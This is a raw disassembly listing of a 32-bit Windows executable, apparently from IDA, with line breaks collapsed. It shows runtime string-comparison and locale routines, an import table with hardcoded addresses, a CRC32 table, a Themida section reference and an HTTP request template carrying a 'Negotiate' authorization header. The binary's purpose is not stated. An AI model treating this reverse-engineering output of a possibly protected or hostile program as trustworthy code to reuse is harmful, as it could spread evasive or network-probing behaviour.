Debugger loc_422A22: ; DATA XREF: ___:00424CBCo push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_422972 push offset dword_425028 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger sub_4229E6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422A40 proc near nop jmp near ptr 71B2ACCBh sub_422A40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422A46 proc near ; CODE XREF: sub_403DF6+5Ep ; sub_4053D5+159p nop jmp near ptr 71AB1B7Bh sub_422A46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422A4C proc near ; CODE XREF: sub_417EFC+23p ; sub_4181A0+13p nop jmp near ptr 27E0000h sub_422A4C endp ; =============== S U B R O U T I N E ======================================= sub_422A52 proc near ; CODE XREF: sub_409392+E2p ; sub_409392+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_48A0A8, 0 push ebx jnz short loc_422A98 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_422A64: ; CODE XREF: sub_422A52+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_422A76 cmp bx, 41h jb short loc_422A76 add ebx, 20h loc_422A76: ; CODE XREF: sub_422A52+19j ; sub_422A52+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_422A88 cmp ax, 41h jb short loc_422A88 add eax, 20h loc_422A88: ; CODE XREF: sub_422A52+2Bj ; sub_422A52+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_422AC8 cmp bx, ax jz short loc_422A64 jmp short loc_422AC8 ; --------------------------------------------------------------------------- loc_422A98: ; CODE XREF: sub_422A52+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_422AA2: ; CODE XREF: sub_422A52+72j mov ax, [esi] inc esi push eax inc esi call sub_422C03 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_422C03 pop ecx test bx, bx pop ecx jz short loc_422AC6 cmp bx, ax jz short loc_422AA2 loc_422AC6: ; CODE XREF: sub_422A52+6Dj pop edi pop esi loc_422AC8: ; CODE XREF: sub_422A52+3Dj ; sub_422A52+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_422A52 endp ; =============== S U B R O U T I N E ======================================= sub_422AD2 proc near ; CODE XREF: ___:00422AEAp mov dword ptr [ecx], offset off_424D00 mov ecx, [ecx+4] test ecx, ecx jz short locret_422AE6 push ecx call sub_417C3B pop ecx locret_422AE6: ; CODE XREF: sub_422AD2+Bj retn sub_422AD2 endp ; --------------------------------------------------------------------------- loc_422AE7: ; DATA XREF: ___:off_424D00o push esi mov esi, ecx call sub_422AD2 test byte ptr [esp+8], 1 jz short loc_422AFD push esi call sub_4182AF pop ecx loc_422AFD: ; CODE XREF: ___:00422AF4j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_422B03: ; DATA XREF: ___:off_424D08o push esi mov esi, ecx call sub_422BA6 test byte ptr [esp+8], 1 jz short loc_422B19 push esi call sub_4182AF pop ecx loc_422B19: ; CODE XREF: ___:00422B10j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_422B1F proc near ; CODE XREF: sub_4227EE+1Dp ; sub_4228C0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_424D08 push dword ptr [edi] call sub_417AB0 inc eax push eax call sub_4185F5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_422B4E push dword ptr [edi] push eax call sub_4179C0 pop ecx pop ecx loc_422B4E: ; CODE XREF: sub_422B1F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_422B1F endp ; =============== S U B R O U T I N E ======================================= sub_422B5C proc near ; CODE XREF: sub_422908+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_424D08 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_422B99 push dword ptr [edi+4] call sub_417AB0 inc eax push eax call sub_4185F5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_422B9F push dword ptr [edi+4] push eax call sub_4179C0 pop ecx pop ecx jmp short loc_422B9F ; --------------------------------------------------------------------------- loc_422B99: ; CODE XREF: sub_422B5C+16j mov eax, [edi+4] mov [esi+4], eax loc_422B9F: ; CODE XREF: sub_422B5C+2Ej ; sub_422B5C+3Bj mov eax, esi pop edi pop esi retn 4 sub_422B5C endp ; =============== S U B R O U T I N E ======================================= sub_422BA6 proc near ; CODE XREF: sub_4227AA+16j ; ___:00422B06p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_424D08 jz short locret_422BBB push dword ptr [ecx+4] call sub_4182AF pop ecx locret_422BBB: ; CODE XREF: sub_422BA6+Aj retn sub_422BA6 endp ; =============== S U B R O U T I N E ======================================= sub_422BBC proc near ; DATA XREF: ___:00424D0Co mov eax, [ecx+4] test eax, eax jnz short locret_422BC8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_422BC8: ; CODE XREF: sub_422BBC+5j retn sub_422BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422BC9 proc near ; CODE XREF: sub_422863+37p ; sub_42298A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_424D28 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 2850000h pop edi pop esi leave retn 8 sub_422BC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C03 proc near ; CODE XREF: sub_422A52+56p ; sub_422A52+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_422C15 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_422C15: ; CODE XREF: sub_422C03+Bj cmp dword_48A0A8, 0 jnz short loc_422C2F cmp ax, 41h jb short locret_422C76 cmp ax, 5Ah ja short locret_422C76 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_422C2F: ; CODE XREF: sub_422C03+19j cmp ax, 100h jnb short loc_422C49 push 1 push eax call sub_422EB1 pop ecx test eax, eax pop ecx jnz short loc_422C49 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_422C49: ; CODE XREF: sub_422C03+30j ; sub_422C03+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_48A0A8 call sub_422C78 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_422C76 mov ax, [ebp+var_2] locret_422C76: ; CODE XREF: sub_422C03+1Fj ; sub_422C03+25j ... leave retn sub_422C03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C78 proc near ; CODE XREF: sub_422C03+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424D48 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_48A304, esi jnz short loc_422CEE push esi push esi push 1 pop ebx push ebx push offset dword_4248D8 mov edi, 100h push edi push esi call near ptr 2870000h nop test eax, eax jz short loc_422CCC mov dword_48A304, ebx jmp short loc_422CEE ; --------------------------------------------------------------------------- loc_422CCC: ; CODE XREF: sub_422C78+4Aj push esi push esi push ebx push offset dword_43C824 push edi push esi call near ptr 2860000h nop test eax, eax jz loc_422E6D mov dword_48A304, 2 loc_422CEE: ; CODE XREF: sub_422C78+2Ej ; sub_422C78+52j cmp [ebp+arg_C], esi jle short loc_422D03 push [ebp+arg_C] push [ebp+arg_8] call sub_422E81 pop ecx pop ecx mov [ebp+arg_C], eax loc_422D03: ; CODE XREF: sub_422C78+79j mov eax, dword_48A304 cmp eax, 1 jnz short loc_422D2A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2870000h jmp loc_422E6F ; --------------------------------------------------------------------------- loc_422D2A: ; CODE XREF: sub_422C78+93j cmp eax, 2 jnz loc_422E6D cmp [ebp+arg_18], esi jnz short loc_422D40 mov eax, dword_48A0B8 mov [ebp+arg_18], eax loc_422D40: ; CODE XREF: sub_422C78+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 27A0000h mov [ebp+var_20], eax cmp eax, esi jz loc_422E6D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_422D86 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_422D86: ; CODE XREF: sub_422C78+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_422E6D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 27A0000h test eax, eax jz loc_422E6D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2860000h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_422E6D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422E09 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_422E09: ; CODE XREF: sub_422C78+17Dj cmp ebx, esi jz short loc_422E6D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2860000h test eax, eax jz short loc_422E6D test byte ptr [ebp+arg_4+1], 4 jz short loc_422E47 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_422E69 cmp eax, edi jl short loc_422E38 mov eax, edi loc_422E38: ; CODE XREF: sub_422C78+1BCj push eax push ebx push [ebp+arg_10] call sub_418C10 add esp, 0Ch jmp short loc_422E69 ; --------------------------------------------------------------------------- loc_422E47: ; CODE XREF: sub_422C78+1B1j cmp [ebp+arg_14], esi jnz short loc_422E50 push esi push esi jmp short loc_422E56 ; --------------------------------------------------------------------------- loc_422E50: ; CODE XREF: sub_422C78+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_422E56: ; CODE XREF: sub_422C78+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 2620000h mov edi, eax cmp edi, esi loc_422E67: ; DATA XREF: Themida_:0051F88Ao jz short loc_422E6D loc_422E69: ; CODE XREF: sub_422C78+1B8j ; sub_422C78+1CDj mov eax, edi jmp short loc_422E6F ; --------------------------------------------------------------------------- loc_422E6D: ; CODE XREF: sub_422C78+66j ; sub_422C78+B5j ... xor eax, eax loc_422E6F: ; CODE XREF: sub_422C78+ADj ; sub_422C78+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422C78 endp ; =============== S U B R O U T I N E ======================================= sub_422E81 proc near ; CODE XREF: sub_422C78+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_422EA0 loc_422E91: ; CODE XREF: sub_422E81+1Dj cmp word ptr [eax], 0 jz short loc_422EA0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_422E91 loc_422EA0: ; CODE XREF: sub_422E81+Ej ; sub_422E81+14j cmp word ptr [eax], 0 pop esi jnz short loc_422EAE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_422EAE: ; CODE XREF: sub_422E81+24j mov eax, edx retn sub_422E81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422EB1 proc near ; CODE XREF: sub_422C03+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_422EF1 cmp [ebp+arg_0], 100h jnb short loc_422ED5 movzx eax, [ebp+arg_0] mov ecx, off_4395A4 mov ax, [ecx+eax*2] jmp short loc_422EF8 ; --------------------------------------------------------------------------- loc_422ED5: ; CODE XREF: sub_422EB1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_422F03 add esp, 18h test eax, eax jnz short loc_422EF5 loc_422EF1: ; CODE XREF: sub_422EB1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_422EF5: ; CODE XREF: sub_422EB1+3Ej mov eax, [ebp+var_4] loc_422EF8: ; CODE XREF: sub_422EB1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_422EB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F03 proc near ; CODE XREF: sub_422EB1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424D60 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_48A308 xor edi, edi cmp eax, edi jnz short loc_422F72 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4248D8 push esi nop call near ptr 25D0000h test eax, eax jz short loc_422F50 mov eax, esi jmp short loc_422F6D ; --------------------------------------------------------------------------- loc_422F50: ; CODE XREF: sub_422F03+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_43C824 push esi push edi nop call near ptr 25D076Bh test eax, eax jz loc_4230B4 push 2 pop eax loc_422F6D: ; CODE XREF: sub_422F03+4Bj mov dword_48A308, eax loc_422F72: ; CODE XREF: sub_422F03+2Fj cmp eax, 1 jnz short loc_422F8E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 25D0000h nop jmp loc_4230B6 ; --------------------------------------------------------------------------- loc_422F8E: ; CODE XREF: sub_422F03+72j cmp eax, 2 jnz loc_4230B4 cmp [ebp+arg_10], edi jnz short loc_422FA4 mov eax, dword_48A0B8 mov [ebp+arg_10], eax loc_422FA4: ; CODE XREF: sub_422F03+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 27A0000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_4230B4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_417330 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_423002 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_423002: ; CODE XREF: sub_422F03+EAj cmp [ebp+var_2C], edi jz loc_4230B4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 27A0000h test eax, eax jz loc_4230B4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_423057 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_423057: ; CODE XREF: sub_422F03+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_4230B4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_42306B mov eax, dword_48A0A8 loc_42306B: ; CODE XREF: sub_422F03+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax call near ptr 25D076Bh nop mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_4230B4 cmp word ptr [esi], 0FFFFh jnz short loc_4230B4 push edi push ebx push [ebp+arg_C] call sub_4182C0 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_4230B6 ; --------------------------------------------------------------------------- loc_4230B4: ; CODE XREF: sub_422F03+61j ; sub_422F03+8Ej ... xor eax, eax loc_4230B6: ; CODE XREF: sub_422F03+86j ; sub_422F03+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422F03 endp ; =============== S U B R O U T I N E ======================================= sub_4230C8 proc near ; DATA XREF: ___:00424F14o ; FUNCTION CHUNK AT 0040445C SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40445C sub_4230C8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_4230E6 mov ecx, [ebp+8] jmp loc_40445C ; --------------------------------------------------------------------------- locret_4230E6: ; CODE XREF: ___:004230D8j retn ; --------------------------------------------------------------------------- loc_4230E7: ; DATA XREF: sub_404032o mov eax, offset dword_424EE8 jmp loc_417F4B ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_4230FC: ; DATA XREF: ___:00424F44o lea ecx, [ebp-1Ch] jmp loc_40445C ; --------------------------------------------------------------------------- loc_423104: ; DATA XREF: sub_4041D4o mov eax, offset dword_424F18 jmp loc_417F4B ; --------------------------------------------------------------------------- align 10h loc_423110: ; DATA XREF: sub_40473Fo mov eax, offset dword_424F48 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423122: ; DATA XREF: sub_4227EEo mov eax, offset dword_424FA8 jmp loc_417F4B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_423134: ; DATA XREF: sub_422863o mov eax, offset dword_425040 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423146: ; DATA XREF: sub_4228C0o mov eax, offset dword_425064 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423158: ; DATA XREF: sub_422908o mov eax, offset dword_425088 jmp loc_417F4B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_42316A: ; DATA XREF: sub_42298Ao mov eax, offset dword_4250E8 jmp loc_417F4B ; --------------------------------------------------------------------------- dd 3A3h dup(0) dd 2590000h, 259014Ah, 25A0000h, 25A070Dh, 25B0000h, 25B0A7Eh dd 25C0000h, 25C05B6h, 25C0614h, 25C0B44h, 25D0000h, 25D076Bh dd 25E0000h, 25E07C1h, 25E0956h dword_42403C dd 25E099Ah ; DATA XREF: ___:0041F496r dd 25E0A2Eh, 25E0C82h, 25E0CCEh, 25F0000h, 25F02D0h, 25F0320h dword_424058 dd 25F085Ah ; DATA XREF: sub_40144A+1A6r ; sub_401D82+3Dr ... dd 25F091Fh, 2600000h dword_424064 dd 26004EDh ; DATA XREF: sub_40797F+D1r ; sub_40D3A5+29r dd 2600552h, 2610000h dword_424070 dd 2620000h ; DATA XREF: sub_40DC82+Fr ; sub_4199B9+54r ... dword_424074 dd 2621026h ; DATA XREF: sub_4168E7+Br dword_424078 dd 2621906h ; DATA XREF: ___:00404E30r ; sub_40AB7C+67r ... dd 2630000h, 2630807h dword_424084 dd 2640000h ; DATA XREF: sub_40AB7C+36r dd 2640273h dword_42408C dd 264030Ch ; DATA XREF: sub_4168E7:loc_416978r dd 264035Dh, 2650000h, 2660000h, 2670000h dword_4240A0 dd 2670B28h ; DATA XREF: sub_4165C4+32r dd 2680000h, 268044Ah, 2680508h, 2690000h, 2690536h, 26A0000h dword_4240BC dd 26B0000h ; DATA XREF: sub_408EE5+26r dd 26C0000h, 77F7E300h, 77F7E21Fh, 26C0B5Bh, 26D0000h dd 26D065Eh dword_4240D8 dd 26D0A69h ; DATA XREF: sub_409037+BCr dword_4240DC dd 26E0000h ; DATA XREF: sub_409037+60r ; sub_40981F+11r ... dword_4240E0 dd 26E07FDh ; DATA XREF: sub_40981F:loc_409D0Fr dd 26F0000h dword_4240E8 dd 2700000h ; DATA XREF: sub_409209+21r ; sub_409392+4Ar dword_4240EC dd 2700996h ; DATA XREF: sub_409209+10r ; sub_409392+40r ... dd 27009EAh dword_4240F4 dd 2700C0Ch ; DATA XREF: sub_409392+56r dd 2710000h, 2710513h dword_424100 dd 2710A87h ; DATA XREF: sub_40981F+2r dd 2720000h, 2730000h, 2730627h, 2730AE3h, 2740000h, 27406A8h dd 2750000h, 2750604h, 2760000h, 276105Ah, 2761161h, 2770000h dd 277057Eh, 2770971h dword_42413C dd 2770F9Dh ; DATA XREF: sub_40B56C+79r ; sub_41680E+3Ar dword_424140 dd 2780000h ; DATA XREF: sub_40B56C+3Br ; sub_416715+23r dd 2781533h, 2790000h, 77E75CB5h dword_424150 dd 27A0000h ; DATA XREF: sub_40DBB0+13r ; ___:0041F50Br ... dd 27B0000h, 27B0CE8h, 27B0DCFh dword_424160 dd 27C0000h ; DATA XREF: ___:loc_40E864r dd 27C0330h dword_424168 dd 27C0AC6h ; DATA XREF: sub_4165C4:loc_4166B0r dd 27C0B9Ch, 27C0C4Ch, 27D0000h, 27D02C4h, 27D0794h, 27D0AFAh dd 27D0C84h, 27E0000h, 27F0000h, 2800000h, 2810000h, 2820000h dd 28219E5h, 28219FEh, 2830000h, 2830D9Fh, 2840000h dword_4241B0 dd 2840573h ; DATA XREF: sub_41ADB4+240r dword_4241B4 dd 28406B4h ; DATA XREF: sub_41B888:loc_41B8B9r dd 28408B3h, 2850000h, 2850548h, 2860000h, 2870000h, 287135Ch dd 2871B9Fh, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB41DAh, 71AB3F8Dh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh dd 71AB8629h, 71AB2BBFh, 71AB12F8h, 71AB1836h dword_424204 dd 71AB5690h ; DATA XREF: sub_404F9A+6Ar dword_424208 dd 71AB1AF4h ; DATA XREF: sub_4053D5+E4r db 90h db 18h, 0ABh, 71h dd 71AB1B7Bh, 71AB3C22h, 71AB155Ah, 71AB3E5Dh, 71AB1A6Dh dd 71AB1746h, 2 dup(0) aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041D4+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_424270 dq 1.388888888888889e-2 ; DATA XREF: sub_403FE6+2Fr dbl_424278 dq 1.666666666666667e-1 ; DATA XREF: sub_403FE6+15r dword_424280 dd 0FFFFFFFFh ; DATA XREF: sub_404032+16Fr ; sub_404464r ... align 8 dbl_424288 dq 1.333333333333333 ; DATA XREF: sub_404032+79r dword_424290 dd 0 ; DATA XREF: sub_4041D4+4Do ; sub_404514+5Bo ... flt_424294 dd 5.0e-1 ; DATA XREF: ___:00404CE7r dword_424298 dd 0 ; DATA XREF: sub_40C21E+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 